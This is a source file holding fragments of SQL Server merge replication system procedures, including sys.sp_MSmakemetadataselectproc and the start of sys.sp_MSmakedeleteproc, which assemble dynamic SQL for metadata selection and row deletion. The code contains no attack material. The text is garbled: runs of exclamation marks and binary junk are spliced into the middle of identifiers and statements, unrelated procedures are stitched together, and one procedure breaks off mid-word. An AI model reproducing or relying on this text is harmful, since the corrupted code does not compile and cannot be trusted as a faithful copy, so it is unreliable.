select @cmdpiece='          from ' + @qualified_name + ' t where rowguidcol = @rowguid
        if @@ERROR<>0 return(1)
    end 
    else if @type < 4 
        begin
            -- case one: no blob gen optimization
            if @blob_cols_at_the_end=0
            begin
                select 
                c.tablenick, 
                c.rowguid, 
                c.generation,
                case @enumentirerowmetadata
                    when 0 then null
                    else c.lineage
                end as lineage,
                case @enumentirerowmetadata
                    when 0 then null
                    else c.colv1
                end as colv1,
                ' 
        insert into @tempcmd (cmdtext) values (@cmdpiece)
        insert into @tempcmd (cmdtext) select line from @column_list_actual order by line_no asc
        select @cmdpiece='
                from #cont c , ' +
                     @qualified_name + ' t with (rowlock)
                where t.rowguidcol = c.rowguid
                order by t.rowguidcol 
                
            if @@ERROR<>0 return(1)
            end'
        insert into @tempcmd (cmdtext) values (@cmdpiece)

select @cmdpiece='  
            -- case two: blob gen optimization
            else 
            begin
                select 
                c.tablenick, 
                c.rowguid, 
                c.generation,
                case @enumentirerowmetadata
                    when 0 then null
                    else c.lineage
                end as lineage,
                case @enumentirerowmetadata
                    when 0 then null
                    else c.colv1
                end as colv1,'
        insert into @te!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(dgv)=mpcmd (cmdtext) values (@cmdpiece)
        insert into @tempcmd (cmdtext) select line2  from @column_list_result where line_no = 1
        insert into @tempcmd (cmdtext) select ' ' + line2 from @column_list_result where line_no > 1 order by line_no asc
        select @cmdpiece='
                from #cont c,' +
                     @qualified_name + ' t with (rowlock)
              where t.rowguidcol = c.rowguid
                 order by t.rowguidcol 
                 
            if @@ERROR<>0 return(1)
            end
        end'
        insert into @tempcmd (cmdtext) values (@cmdpiece)

select @cmdpiece=
'   else if @type = 4
    begin
        set @type = 0
        if exists (select * from ' + @qualified_name + ' where rowguidcol = @rowguid)
            set @type = 3
        if @@ERROR<>0 return(1)
    end

    else if @type = 5
    begin
        ' + @out_of_partition_check +
        '
        delete ' + @qualified_name + ' where rowguidcol = @rowguid
        if @@ERROR<>0 return(1)

        delete from dbo.MSmerge_metadataaction_request
            where tablenick=' + cast(@tablenick as nvarchar(20)) + ' and rowguid=@rowguid
    end '
    
insert into @tempcmd (cmdtext) values (@cmdpiece)
    
select @cmdpiece = '
    else if @type = 6 -- sp_MSenumcolumns
    begin
        select ' 
insert into @tempcmd (cmdtext) values (@cmdpiece)
insert into @tempcmd (cmdtext) select line from @column_list_actual order by line_no asc
select @cmdpiece='         from ' + @qualified_name + ' t where 1=2
        if @@ERROR<>0 return(1)
    end

    else if @type = 7 -- sp_MSlocktable
    begin
        select 1 from ' + @qualified_name + ' with (tablock holdlock) where 1 = 2
        if @@ERROR<>0 return(1)
    end

    else if @type = 8 -- put update lock
    begin
        if not exists (select * from ' + @qualified_name + ' with (UPDLOCK HOLDLOCK) where rowguidcol = @rowguid)
        begin
            RAISERROR(20031 , 16, -1)
            return(1)
        end
    end
    else if @type = 9
    begin
        declare @oldmaxversion int, @replnick binary(6)
                , @cur_article_rowcount int, @column_tracking int
                        
        select @replnick = ' + sys.fn_varbintohexstr(@replnick)
        insert into @tempcmd (cmdtext) values (@cmdpiece)
        
        select @cmdpiece = '
        select top 1 @oldmaxversion = maxversion_at_cleanup,
                     @column_tracking = column_tracking
        from dbo.sysmergearticles 
        where nickname = ' + convert(nvarchar(13),@tablenick) + '
        
        select @cur_article_rowcount = count(*) from #rows 
        where tablenick = ' + convert(nvarchar(13),@tablenick) + '
            
        update dbo.MSmerge_contents 
        set lineage = { fn UPDATELINEAGE(lineage, @replnick, @oldmaxversion+1) }
        where tablenick = ' + convert(nvarchar(13),@tablenick) + '
        and rowguid in (select rowguid from #rows where tablenick = ' + convert(nvarchar(13),@tablenick) + ') '
        
        insert into @tempcmd (cmdtext) values (@cmdpiece)
        
        select @cmdpiece = '
        if @@rowcount <> @cur_article_rowcount
        begin
            declare @lineage varbinary(311), @colv1 varbinary(1)
                    , @cur_rowguid uniqueidentifier, @prev_rowguid uniqueidentifier
            set @lineage = { fn UPDATELINEAGE(0x0, @replnick, @oldmaxversion+1) }
            if @column_tracking <> 0
                set @colv1 = 0xFF
            else
                set @colv1 = NULL
                
            select top 1 @cur_rowguid = rowguid from #rows
            where tablenick = ' + convert(nvarchar(13),@tablenick) + '
            order by rowguid
            
            while @cur_rowguid is not null
            begin
                if not exists (select * from dbo.MSmerge_contents 
                                where tablenick = ' + convert(nvarchar(13),@tablenick) + '
                                and rowguid = @cur_rowguid)
                begin
                    begin tran 
                    save tran insert_contents_row '
            
            insert into @tempcmd (cmdtext) values (@cmdpiece)
            select @cmdpiece = '
                    if exists (select * from ' + @qualified_name + 'with (holdlock) where rowguidcol = @cur_rowguid)
                    begin
                        exec @retcode = sys.sp_MSevaluate_change_membership_for_row @tablenick = ' + convert(nvarchar(13),@tablenick) + ', @rowguid = @cur_rowguid
                        if @retcode <> 0 or @@error <> 0
                        begin
                            rollback tran insert_contents_row
                            return 1
                        end
                        insert into dbo.MSmerge_contents (rowguid, tablenick, generation, lineage, colv1, logical_record_parent_rowguid)
                            values (@cur_rowguid, ' + convert(nvarchar(13),@tablenick) + ', 0, @lineage, @colv1, @logical_record_parent_rowguid)
                    end
                    commit tran
                end
                
                select @prev_rowguid = @cur_rowguid
                select @cur_rowguid = NULL
                
                select top 1 @cur_rowguid = rowguid from #rows
                where tablenick = ' + convert(nvarchar(13),@tablenick) + '
                and rowguid > @prev_rowguid
                order by rowguid
            end
        end '
        
        insert into @tempcmd (cmdtext) values (@cmdpiece)
        select @cmdpiece = '
        select 
            r.tablenick, 
            r.rowguid, 
            mc.generation,
            case @enumentirerowmetadata
                when 0 then null
                else mc.lineage
            end,
            case @enumentirerowmetadata
                when 0 then null
                else mc.colv1
            end,
            ' 

insert into @tempcmd (cmdtext) values (@cmdpiece)
insert into @tempcmd (cmdtext) select line from @column_list_actual order by line_no asc
select @cmdpiece='         from #rows r left outer join ' +
                 @qualified_name + ' t on r.rowguid = t.rowguidcol and r.tablenick = ' + convert(nvarchar(13),@tablenick) + '
                 left outer join dbo.MSmerge_contents mc on
                 mc.tablenick = ' + convert(nvarchar(13),@tablenick) + ' and mc.rowguid = t.rowguidcol
                 where r.tablenick = ' + convert(nvarchar(13),@tablenick) + '
         order by r.idx
         
        if @@ERROR<>0 return(1)
    end '

insert into @tempcmd (cmdtext) values (@cmdpiece)
if @logical_record_view is NOT NULL
    begin
        
    select @cmdpiece=' else if @type = 10 
        begin
            select 
                c.tablenick, 
                c.rowguid, 
                c.generation,
                case @enumentirerowmetadata
                    when 0 then null
                    else c.lineage
                end,
                case @enumentirerowmetadata
                    when 0 then null
                    else c.colv1
                end,
                ' 

    insert into @tempcmd (cmdtext) values (@cmdpiece)
    insert into @tempcmd (cmdtext) select line from @column_list_actual order by line_no asc
    select @cmdpiece='         from #cont c,' +
                     @qualified_name + ' t with (rowlock)
                    where t.' + @rgcol + ' = c.rowguid
                    and c.tablenick = ' + convert(nvarchar(13), @tablenick) + '
             order by t.rowguidcol
             option (force order)
               
            if @@ERROR<>0 return(1)
        end'
    insert into @tempcmd (cmdtext) values (@cmdpiece)

    end
else
    begin        
        select @cmdpiece='
        else if @type = 10  
        begin
            select 
                c.tablenick, 
            !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<0e0)=    c.rowguid, 
                c.generation,
                case @enumentirerowmetadata
                    when 0 then null
                    else c.lineage
                end,
                case @enumentirerowmetadata
                    when 0 then null
                    else c.colv1
                end,
                null,
                ' 

        insert into @tempcmd (cmdtext) values (@cmdpiece)
        insert into @tempcmd (cmdtext) select line from @column_list_actual order by line_no asc
        select @cmdpiece='         from #cont c,' +
                     @qualified_name + ' t with (rowlock) where
                      t.rowguidcol = c.rowguid
             order by t.rowguidcol 
                        
            if @@ERROR<>0 return(1)
        end'
        insert into @tempcmd (cmdtext) values (@cmdpiece)
    end    

    select @cmdpiece='
    else if @type = 11
    begin
        ' + @out_of_partition_check +
        '
        -- we will do a delete with metadata match
        if @metadata_type = 0
        begin
            delete from ' + @qualified_name + ' where ' + @rgcol + ' = @rowguid
            select @rowcount = @@rowcount
            if @rowcount <> 1
            begin
                RAISERROR(20031 , 16, -1)
                return(1)
            end
        end
        else
        begin
            if @metadata_type = 3
                delete ' + @qualified_name + ' from ' + @qualified_name + ' t
                    where t.' + @rgcol + ' = @rowguid and 
                        not exists (select 1 from dbo.MSmerge_contents c with (rowlock) where
                                                c.rowguid = @rowguid and
                                                c.tablenick = ' + cast(@tablenick as nvarchar(20)) + ')
            else if @metadata_type = 5 or @metadata_type = 6
                delete ' + @qualified_name + ' from ' + @qualified_name + ' t
                    where t.' + @rgcol + ' = @rowguid and 
                         not exists (select 1 from dbo.MSmerge_contents c with (rowlock) where
                                                c.rowguid = @rowguid and
                                                c.tablenick = ' + cast(@tablenick as nvarchar(20)) + ' and
                                                c.lineage <> @lineage_old)
                                                
            else
                delete ' + @qualified_name + ' from ' + @qualified_name + ' t
                    where t.' + @rgcol + ' = @rowguid and 
                         exists (select 1 from dbo.MSmerge_contents c with (rowlock) where
                                                c.rowguid = @rowguid and
                                                c.tablenick = ' + cast(@tablenick as nvarchar(20)) + ' and
                                                c.lineage = @lineage_old)
            select @rowcount = @@rowcount
            if @rowcount <> 1 
            begin
                if not exists (select * from ' + @qualified_name + ' where ' + @rgcol + ' = @rowguid)
                begin
                    RAISERROR(20031 , 16, -1)
                    return(1)
                end
            end
        end
        if @@ERROR<>0 
        begin
            delete from dbo.MSmerge_metadataaction_request
                where tablenick=' + cast(@tablenick as nvarchar(20)) + ' and rowguid=@rowguid

            return(1)
        end        
    end'
    insert into @tempcmd (cmdtext) values (@cmdpiece)

    if @maintainsmetadata = 1
    select @cmdpiece = '
    else if @type = 12
    begin 
        -- this type indicates metadata type selection
        declare @maxversion int
        declare @error int
        
        select @maxversion= maxversion_at_cleanup from dbo.sysmergearticles 
            where nickname = ' + cast(@tablenick as nvarchar(20)) + ' and pubid = ''' + convert(nvarchar(36),@pubid) + '''
        if @error <> 0 
            return 1
        select case when (cont.generation is NULL and tomb.generation is null) 
                    then 0 
                    else isnull(cont.generation, tomb.generation) 
               end as generation, 
               case when t.' + @rgcol + ' is null 
                    then (case when tomb.rowguid is NULL then 0 else tomb.type end) 
                    else (case when cont.rowguid is null then 3 else 2 end) 
               end as type,
               case when tomb.rowguid is null 
                    then cont.lineage 
                    else tomb.lineage
               end as lineage, 
               cont.colv1 as colv, 
               @maxversion as maxversion
        from
        (select @rowguid as rowguid) as rows 
        left outer join ' + @qualified_name + ' t with (rowlock) 
        on t.' + @rgcol + ' = rows.rowguid
        and rows.rowguid is not null
        left outer join dbo.MSmerge_contents cont with (rowlock) 
        on cont.rowguid = rows.rowguid and cont.tablenick = ' + cast(@tablenick as nvarchar(20)) + '
        left outer join dbo.MSmerge_tombstone tomb with (rowlock) 
        on tomb.rowguid = rows.rowguid and tomb.tablenick = ' + cast(@tablenick as nvarchar(20)) + '
        where rows.rowguid is not null
        
        select @error = @@error
        if @error <> 0 
        begin
            --raiserror(@error, 16, -1)
            return 1
        end
    end'
    else
    select @cmdpiece = '
    else if @type = 12
    begin 
        -- this type indicates metadata type selection
        declare @maxversion int
        declare @error int
        
        select @maxversion= maxversion_at_cleanup from dbo.sysmergearticles 
            where nickname = ' + cast(@tablenick as nvarchar(20)) + ' and pubid = ''' + convert(nvarchar(36),@pubid) + '''
        if @error <> 0 
            return 1
        select 0 as generation, 
               case when t.' + @rgcol + ' is null then 0 else 3 end as type,
               NULL as lineage, 
               NULL as colv, 
               @maxversion as maxversion
        from
        (select @rowguid as rowguid) as rows 
        left outer join ' + @qualified_name + ' t with (rowlock) 
        on t.' + @rgcol + ' = rows.rowguid
        and rows.rowguid is not null
        where rows.rowguid is not null
        
        select @error = @@error
        if @error <> 0 
        begin
            --raiserror(@error, 16, -1)
            return 1
        end
    end'
    
    insert into @tempcmd (cmdtext) values (@cmdpiece)

    select @cmdpiece='
    return(0)
end
'

insert into @tempcmd (cmdtext) values (@cmdpiece)
select cmdtext from @tempcmd order by step
--drop table @tempcmd
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(fjvPVcreate procedure sys.sp_MSmakemetadataselectproc 
    (@tablename sysname, @ownername sysname, @procname sysname, @pubid uniqueidentifier, @artid uniqueidentifier,
     @generate_subscriber_proc bit = 0, @destination_owner sysname = NULL)
as
declare @retcode            smallint
declare @argname            nvarchar(10)
declare @varname            nvarchar(10)
declare @cmdpiece           nvarchar(4000)
declare @qualified_name     nvarchar(270)
declare @sync_objid         int
declare @tablenick          int
declare @rgcol              nvarchar(140)
declare @rowguidunionclause1 nvarchar(4000)
declare @rowguidunionclause2 nvarchar(4000)
declare @rowguidunionclause3 nvarchar(4000)
declare @rowguidunionclause4 nvarchar(4000)
declare @rowguiddeclareclause1 nvarchar(4000)
declare @rowguiddeclareclause2 nvarchar(4000)
declare @id int
declare @maintainsmetadata bit

set nocount on

/*
** Check for dbo permission
*/
exec @retcode=sys.sp_MSreplcheck_subscribe
if @retcode<>0 or @@ERROR<>0 return (1)

if @ownername is NULL or @ownername=''
    select @qualified_name = QUOTENAME(@tablename)
else    
    select @qualified_name = QUOTENAME(@ownername) + '.' + QUOTENAME(@tablename)

select @id = object_id(@qualified_name)
select @rgcol = quotename(name) from sys.columns where object_id = @id and is_rowguidcol = 1

select @sync_objid=sync_objid, @tablenick = nickname 
from dbo.sysmergearticles where artid=@artid and pubid=@pubid
if @tablenick is NULL
    return (1)

if @generate_subscriber_proc = 1
begin
    select @qualified_name = quotename(@destination_owner) + '.' + quotename(@tablename)
    if exists (select 1 from dbo.sysmergearticles where artid=@artid and pubid=@pubid and upload_options in (1,2))
        select @maintainsmetadata = 0
    else
        select @maintainsmetadata = 1
end
else
begin
    set @maintainsmetadata= sys.fn_MSarticle_allows_DML_at_this_replica(@artid, default)
end

set @cmdpiece= 'SET ANSI_NULLS ON SET QUOTED_IDENTIFIER ON'
exec (@cmdpiece)
if @@error<>0 return(1)

-- create temp table to select the command text out of
declare @tempcmd table (step int identity NOT NULL, cmdtext nvarchar(4000) collate database_default null)

select @rowguiddeclareclause1 = '
    @rowguid1 uniqueidentifier,
    @rowguid2 uniqueidentifier = NULL,
    @rowguid3 uniqueidentifier = NULL,
    @rowguid4 uniqueidentifier = NULL,
    @rowguid5 uniqueidentifier = NULL,
    @rowguid6 uniqueidentifier = NULL,
    @rowguid7 uniqueidentifier = NULL,
    @rowguid8 uniqueidentifier = NULL,
    @rowguid9 uniqueidentifier = NULL,
    @rowguid10 uniqueidentifier = NULL,
    @rowguid11 uniqueidentifier = NULL,
    @rowguid12 uniqueidentifier = NULL,
    @rowguid13 uniqueidentifier = NULL,
    @rowguid14 uniqueidentifier = NULL,
    @rowguid15 uniqueidentifier = NULL,
    @rowguid16 uniqueidentifier = NULL,
    @rowguid17 uniqueidentifier = NULL,
    @rowguid18 uniqueidentifier = NULL,
    @rowguid19 uniqueidentifier = NULL,
    @rowguid20 uniqueidentifier = NULL,
    @rowguid21 uniqueidentifier = NULL,
    @rowguid22 uniqueidentifier = NULL,
    @rowguid23 uniqueidentifier = NULL,
    @rowguid24 uniqueidentifier = NULL,
    @rowguid25 uniqueidentifier = NULL,
    @rowguid26 uniqueidentifier = NULL,
    @rowguid27 uniqueidentifier = NULL,
    @rowguid28 uniqueidentifier = NULL,
    @rowguid29 uniqueidentifier = NULL,
    @rowguid30 uniqueidentifier = NULL,
    @rowguid31 uniqueidentifier = NULL,
    @rowguid32 uniqueidentifier = NULL,
    @rowguid33 uniqueidentifier = NULL,
    @rowguid34 uniqueidentifier = NULL,
    @rowguid35 uniqueidentifier = NULL,
    @rowguid36 uniqueidentifier = NULL,
    @rowguid37 uniqueidentifier = NULL,
    @rowguid38 uniqueidentifier = NULL,
    @rowguid39 uniqueidentifier = NULL,
    @rowguid40 uniqueidentifier = NULL,
    @rowguid41 uniqueidentifier = NULL,
    @rowguid42 uniqueidentifier = NULL,
    @rowguid43 uniqueidentifier = NULL,
    @rowguid44 uniqueidentifier = NULL,
    @rowguid45 uniqueidentifier = NULL,
    @rowguid46 uniqueidentifier = NULL,
    @rowguid47 uniqueidentifier = NULL,
    @rowguid48 uniqueidentifier = NULL,
    @rowguid49 uniqueidentifier = NULL,
    @rowguid50 uniqueidentifier = NULL,'
select @rowguiddeclareclause2 = '
    @rowguid51 uniqueidentifier = NULL,
    @rowguid52 uniqueidentifier = NULL,
    @rowguid53 uniqueidentifier = NULL,
    @rowguid54 uniqueidentifier = NULL,
    @rowguid55 uniqueidentifier = NULL,
    @rowguid56 uniqueidentifier = NULL,
    @rowguid57 uniqueidentifier = NULL,
    @rowguid58 uniqueidentifier = NULL,
    @rowguid59 uniqueidentifier = NULL,
    @rowguid60 uniqueidentifier = NULL,
    @rowguid61 uniqueidentifier = NULL,
    @rowguid62 uniqueidentifier = NULL,
    @rowguid63 uniqueidentifier = NULL,
    @rowguid64 uniqueidentifier = NULL,
    @rowguid65 uniqueidentifier = NULL,
    @rowguid66 uniqueidentifier = NULL,
    @rowguid67 uniqueidentifier = NULL,
    @rowguid68 uniqueidentifier = NULL,
    @rowguid69 uniqueidentifier = NULL,
    @rowguid70 uniqueidentifier = NULL,
    @rowguid71 uniqueidentifier = NULL,
    @rowguid72 uniqueidentifier = NULL,
    @rowguid73 uniqueidentifier = NULL,
    @rowguid74 uniqueidentifier = NULL,
    @rowguid75 uniqueidentifier = NULL,
    @rowguid76 uniqueidentifier = NULL,
    @rowguid77 uniqueidentifier = NULL,
    @rowguid78 uniqueidentifier = NULL,
    @rowguid79 uniqueidentifier = NULL,
    @rowguid80 uniqueidentifier = NULL,
    @rowguid81 uniqueidentifier = NULL,
    @rowguid82 uniqueidentifier = NULL,
    @rowguid83 uniqueidentifier = NULL,
    @rowguid84 uniqueidentifier = NULL,
    @rowguid85 uniqueidentifier = NULL,
    @rowguid86 uniqueidentifier = NULL,
    @rowguid87 uniqueidentifier = NULL,
    @rowguid88 uniqueidentifier = NULL,
    @rowguid89 uniqueidentifier = NULL,
    @rowguid90 uniqueidentifier = NULL,
    @rowguid91 uniqueidentifier = NULL,
    @rowguid92 uniqueidentifier = NULL,
    @rowguid93 uniqueidentifier = NULL,
    @rowguid94 uniqueidentifier = NULL,
    @rowguid95 uniqueidentifier = NULL,
    @rowguid96 uniqueidentifier = NULL,
    @rowguid97 uniqueidentifier = NULL,
    @rowguid98 uniqueidentifier = NULL,
    @rowguid99 uniqueidentifier = NULL,
    @rowguid100 uniqueidentifier = NULL'

select @rowguidunionclause1 = '
        select @rowguid1 as rowguid, 1 as sortcol union all
        select @rowguid2 as rowguid, 2 as sortcol union all
        select @rowguid3 as rowguid, 3 as sortcol union all
        select @rowguid4 as rowguid, 4 as sortcol union all
        select @rowguid5 as rowguid, 5 as sortcol union all
        select @rowguid6 as rowguid, 6 as sortcol union all
        select @rowguid7 as rowguid, 7 as sortcol union all
        select @rowguid8 as rowguid, 8 as sortcol union all
        select @rowguid9 as rowguid, 9 as sortcol union all
        select @rowguid10 as rowguid, 10 as sortcol union all
        select @rowguid11 as rowguid, 11 as sortcol union all
        select @rowguid12 as rowguid, 12 as sortcol union all
        select @rowguid13 as rowguid, 13 as sortcol union all
        select @rowguid14 as rowguid, 14 as sortcol union all
        select @rowguid15 as rowguid, 15 as sortcol union all
        select @rowguid16 as rowguid, 16 as sortcol union all
        select @rowguid17 as rowguid, 17 as sortcol union all
        select @rowguid18 as rowguid, 18 as sortcol union all
        select @rowguid19 as rowguid, 19 as sortcol union all
        select @rowguid20 as rowguid, 20 as sortcol union all
        select @rowguid21 as rowguid, 21 as sortcol union all
        select @rowguid22 as rowguid, 22 as sortcol union all
        select @rowguid23 as rowguid, 23 as sortcol union all
        select @rowguid24 as rowguid, 24 as sortcol union all
        select @rowguid25 as rowguid, 25 as sortcol union all
        select @rowguid26 as rowguid, 26 as sortcol union !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(gX vPVall
        select @rowguid27 as rowguid, 27 as sortcol union all
        select @rowguid28 as rowguid, 28 as sortcol union all
        select @rowguid29 as rowguid, 29 as sortcol union all
        select @rowguid30 as rowguid, 30 as sortcol union all
        select @rowguid31 as rowguid, 31 as sortcol union all'

select @rowguidunionclause2 = '
        select @rowguid32 as rowguid, 32 as sortcol union all
        select @rowguid33 as rowguid, 33 as sortcol union all
        select @rowguid34 as rowguid, 34 as sortcol union all
        select @rowguid35 as rowguid, 35 as sortcol union all
        select @rowguid36 as rowguid, 36 as sortcol union all
        select @rowguid37 as rowguid, 37 as sortcol union all
        select @rowguid38 as rowguid, 38 as sortcol union all
        select @rowguid39 as rowguid, 39 as sortcol union all
        select @rowguid40 as rowguid, 40 as sortcol union all
        select @rowguid41 as rowguid, 41 as sortcol union all
        select @rowguid42 as rowguid, 42 as sortcol union all
        select @rowguid43 as rowguid, 43 as sortcol union all
        select @rowguid44 as rowguid, 44 as sortcol union all
        select @rowguid45 as rowguid, 45 as sortcol union all
        select @rowguid46 as rowguid, 46 as sortcol union all
        select @rowguid47 as rowguid, 47 as sortcol union all
        select @rowguid48 as rowguid, 48 as sortcol union all
        select @rowguid49 as rowguid, 49 as sortcol union all
        select @rowguid50 as rowguid, 50 as sortcol union all
        select @rowguid51 as rowguid, 51 as sortcol union all
        select @rowguid52 as rowguid, 52 as sortcol union all
        select @rowguid53 as rowguid, 53 as sortcol union all
        select @rowguid54 as rowguid, 54 as sortcol union all
        select @rowguid55 as rowguid, 55 as sortcol union all
        select @rowguid56 as rowguid, 56 as sortcol union all
        select @rowguid57 as rowguid, 57 as sortcol union all
        select @rowguid58 as rowguid, 58 as sortcol union all
        select @rowguid59 as rowguid, 59 as sortcol union all
        select @rowguid60 as rowguid, 60 as sortcol union all
        select @rowguid61 as rowguid, 61 as sortcol union all
        select @rowguid62 as rowguid, 62 as sortcol union all'

select @rowguidunionclause3 = ' 
        select @rowguid63 as rowguid, 63 as sortcol union all
        select @rowguid64 as rowguid, 64 as sortcol union all
        select @rowguid65 as rowguid, 65 as sortcol union all
        select @rowguid66 as rowguid, 66 as sortcol union all
        select @rowguid67 as rowguid, 67 as sortcol union all
        select @rowguid68 as rowguid, 68 as sortcol union all
        select @rowguid69 as rowguid, 69 as sortcol union all
        select @rowguid70 as rowguid, 70 as sortcol union all
        select @rowguid71 as rowguid, 71 as sortcol union all
        select @rowguid72 as rowguid, 72 as sortcol union all
        select @rowguid73 as rowguid, 73 as sortcol union all
        select @rowguid74 as rowguid, 74 as sortcol union all
        select @rowguid75 as rowguid, 75 as sortcol union all
        select @rowguid76 as rowguid, 76 as sortcol union all
        select @rowguid77 as rowguid, 77 as sortcol union all
        select @rowguid78 as rowguid, 78 as sortcol union all
        select @rowguid79 as rowguid, 79 as sortcol union all
        select @rowguid80 as rowguid, 80 as sortcol union all
        select @rowguid81 as rowguid, 81 as sortcol union all
        select @rowguid82 as rowguid, 82 as sortcol union all
        select @rowguid83 as rowguid, 83 as sortcol union all
        select @rowguid84 as rowguid, 84 as sortcol union all
        select @rowguid85 as rowguid, 85 as sortcol union all
        select @rowguid86 as rowguid, 86 as sortcol union all
        select @rowguid87 as rowguid, 87 as sortcol union all
        select @rowguid88 as rowguid, 88 as sortcol union all
        select @rowguid89 as rowguid, 89 as sortcol union all
        select @rowguid90 as rowguid, 90 as sortcol union all
        select @rowguid91 as rowguid, 91 as sortcol union all
        select @rowguid92 as rowguid, 92 as sortcol union all
        select @rowguid93 as rowguid, 93 as sortcol union all'

select @rowguidunionclause4 = ' 
        select @rowguid94 as rowguid, 94 as sortcol union all
        select @rowguid95 as rowguid, 95 as sortcol union all
        select @rowguid96 as rowguid, 96 as sortcol union all
        select @rowguid97 as rowguid, 97 as sortcol union all
        select @rowguid98 as rowguid, 98 as sortcol union all
        select @rowguid99 as rowguid, 99 as sortcol union all
        select @rowguid100 as rowguid, 100 as sortcol'

select @cmdpiece = '
create procedure dbo.'  + QUOTENAME(@procname) + '
( ' + @rowguiddeclareclause1 
insert into @tempcmd (cmdtext) values (@cmdpiece)
select @cmdpiece = @rowguiddeclareclause2 + '
) '
insert into @tempcmd (cmdtext) values (@cmdpiece)

select @cmdpiece = '
as
begin
    declare @retcode    int
    declare @maxversion int
    set nocount on
        
    if ({ fn ISPALUSER(''' + convert(nvarchar(36),@pubid) + ''') } <> 1)
    begin       
        RAISERROR (14126, 11, -1)
        return (1)
    end
    
    select @maxversion= maxversion_at_cleanup from dbo.sysmergearticles 
        where nickname = ' + cast(@tablenick as nvarchar(20)) + ' and pubid = ''' + convert(nvarchar(36),@pubid) + '''
'
insert into @tempcmd (cmdtext) values (@cmdpiece)


if @maintainsmetadata = 1
begin
    select @cmdpiece = '
        select case when (cont.generation is NULL and tomb.generation is null) then 0 else isnull(cont.generation, tomb.generation) end as generation, 
               case when t.' + @rgcol + ' is null then (case when tomb.rowguid is NULL then 0 else tomb.type end) else (case when cont.rowguid is null then 3 else 2 end) end as type,
               case when tomb.rowguid is null then cont.lineage else tomb.lineage end as lineage,  
               cont.colv1 as colv,
               @maxversion as maxversion,
               rows.rowguid as rowguid
    '
    insert into @tempcmd (cmdtext) values (@cmdpiece)
    select @cmdpiece = '
        from
        ( ' + @rowguidunionclause1
    insert into @tempcmd (cmdtext) values (@cmdpiece)
    select @cmdpiece = @rowguidunionclause2
    insert into @tempcmd (cmdtext) values (@cmdpiece)
    select @cmdpiece = @rowguidunionclause3
    insert into @tempcmd (cmdtext) values (@cmdpiece)
    select @cmdpiece = @rowguidunionclause4 + '
        ) as rows '
    insert into @tempcmd (cmdtext) values (@cmdpiece)
    select @cmdpiece = '
        left outer join ' + @qualified_name + ' t with (rowlock) 
        on t.' + @rgcol + ' = rows.rowguid
        and rows.rowguid is not null
        left outer join dbo.MSmerge_contents cont with (rowlock) 
        on cont.rowguid = rows.rowguid and cont.tablenick = ' + cast(@tablenick as nvarchar(20)) + '
        left outer join dbo.MSmerge_tombstone tomb with (rowlock) 
        on tomb.rowguid = rows.rowguid and tomb.tablenick = ' + cast(@tablenick as nvarchar(20)) + '
        where rows.rowguid is not null
        order by rows.sortcol
                
        if @@error <> 0 
            return 1
    end
    '
    insert into @tempcmd (cmdtext) values (@cmdpiece)
end
else
begin
    select @cmdpiece = '
        select 0 as generation, 
               case when t.' + @rgcol + ' is null then 0 else 3 end as type,
               NULL as lineage,  
               NULL as colv,
               @maxversion as maxversion,
               rows.rowguid as rowguid
    '
    insert into @tempcmd (cmdtext) values (@cmdpiece)
    select @cmdpiece = '
        from
        ( ' + @rowguidunionclause1
    insert into @tempcmd (cmdtext) values (@cmdpiece)
    select @cmdpiece = @rowguidunionclause2
    insert into @tempcmd (cmdtext) values (@cmdpiece)
    select @cmdpie!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(hB7)vV/create procedure sys.sp_MSmakedeleteproc 
    (@tablename sysname, @ownername sysname, @procname sysname, @pubid uniqueidentifier, @artid uniqueidentifier,
     @generate_subscriber_proc bit = 0, @destination_owner sysname = NULL)
as
declare @retcode            smallint
declare @argname            nvarchar(10)
declare @varname            nvarchar(10)
declare @cmdpiece           nvarchar(4000)
declare @cmdpiece2          nvarchar(4000)
declare @qualified_name     nvarchar(540)
declare @sync_objid         int
declare @tablenick          int
declare @rgcol              nvarchar(270)
declare @batching_factor    int
